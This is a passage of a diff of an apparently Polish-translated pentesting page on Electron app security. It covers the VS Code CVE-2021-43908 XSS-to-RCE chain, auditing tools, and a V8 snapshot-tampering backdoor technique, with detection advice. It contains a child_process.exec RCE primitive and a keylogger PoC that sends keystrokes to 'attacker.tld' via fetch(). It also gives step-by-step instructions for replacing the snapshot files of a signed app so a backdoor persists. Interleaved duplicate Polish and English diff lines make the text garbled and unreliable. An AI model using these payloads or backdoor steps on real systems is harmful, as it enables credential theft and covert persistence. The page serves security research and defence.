- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron. This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron wykorzystujący Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek firm trzecich Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Przykład RCE primitive w końcowym kontekście
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Powiązana lektura dotycząca problemów z zaufaniem postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Narzędzia**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) służy do identyfikowania błędnej konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do wykrywania podatnych bibliotek stron trzecich
- [**Electro.ng**](https://electro.ng/): Wymaga zakupu - [**Electro.ng**](https://electro.ng/): Wymaga zakupu
## Labs ## Laboratoria
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps. W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab pokazujący, jak exploitować podatne aplikacje Electron.
Kilka poleceń, które pomogą Ci w laboratorium: Kilka poleceń, które pomogą Ci w labie:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -462,11 +487,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget"); throw new Error("testing isArray gadget");
}; };
``` ```
Isolate-aware payload routing (uruchamiaj różny kod w main vs. renderer) Isolate-aware payload routing (run different code in main vs. renderer)
- Wykrywanie main process: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu main. - Wykrywanie procesu głównego: Node-only globals takie jak process.pid, process.binding() lub process.dlopen są obecne w main process isolate.
- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w Browser, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu. - Wykrywanie Browser/renderer: Browser-only globals takie jak alert są dostępne podczas działania w kontekście dokumentu.
Przykładowy gadget, który jednorazowo bada możliwości Node w main-process Przykładowy gadget, który jednorazowo bada możliwości Node w main-process.
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
@ -495,7 +520,7 @@ process.exit(0);
return orig(...arguments); return orig(...arguments);
}; };
``` ```
Renderer/browser-context data theft PoC (np. Slack) Renderer/browser-context kradzież danych PoC (np. Slack)
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
Array.isArray = function() { Array.isArray = function() {
@ -519,27 +544,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments); return orig(...arguments);
}; };
``` ```
Przebieg pracy operatora Przepływ pracy operatora
1) Utwórz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się dla każdego isolate. 1) Napisz payload.js, który clobbers powszechnie używany builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
2) Zbuduj snapshot bez źródeł Chromium: 2) Zbuduj snapshot bez źródeł Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Zastąp pliki snapshot docelowej aplikacji: 3) Zastąp plik(i) snapshot aplikacji docelowej:
- v8_context_snapshot.bin (zawsze używany) - v8_context_snapshot.bin (zawsze używany)
- browser_v8_context_snapshot.bin (jeśli używany jest LoadBrowserProcessSpecificV8Snapshot fuse) - browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrane builtin zostanie użyte. 4) Uruchom aplikację; gadget wykonuje się za każdym razem, gdy użyty zostanie wybrany builtin.
Uwagi i rozważania Uwagi i rozważania
- Ominięcie integralności/podpisu: pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani mechanizmy integralności Chromium. - Ominięcie integralności/podpisu: Pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez mechanizmy sprawdzania podpisu kodu i (historycznie) nie były objęte Electron’s fuses ani kontrolami integralności Chromium.
- Trwałość: zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zazwyczaj przetrwa restarty aplikacji i wygląda jak podpisana, autentyczna aplikacja. - Trwałość: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa ponowne uruchomienia aplikacji i wygląda jak podpisana, legitna aplikacja.
- Przeglądarki Chromium: ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy integralności, ale wyraźnie wyłącza ataki fizycznie lokalne z modelu zagrożeń. - Przeglądarki Chromium: Ten sam koncept manipulacji dotyczy Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza fizycznie lokalne ataki z modelu zagrożeń.
Wykrywanie i środki zaradcze Wykrywanie i przeciwdziałania
- Traktować snapshoty jako zawartość wykonywalną i uwzględnić je w wymuszaniu integralności (CVE-2025-55305 fix). - Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (poprawka CVE-2025-55305).
- Preferować lokalizacje instalacji zapisywalne tylko przez administratora; ustalić bazowe i monitorować hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin. - Preferuj lokalizacje instalacji zapisywalne tylko przez administratora; ustal bazowe hashe i monitoruj je dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Wykrywać nadpisywanie builtinów we wczesnym etapie runtime oraz nieoczekiwane zmiany snapshotów; generować alert, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami. - Wykrywaj wczesne nadpisywanie builtinów i nieoczekiwane zmiany snapshotów; generuj alerty, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
## **Referencje** ## **Referencje**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +578,6 @@ Wykrywanie i środki zaradcze
- [Loki C2](https://github.com/boku7/Loki/) - [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model) - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)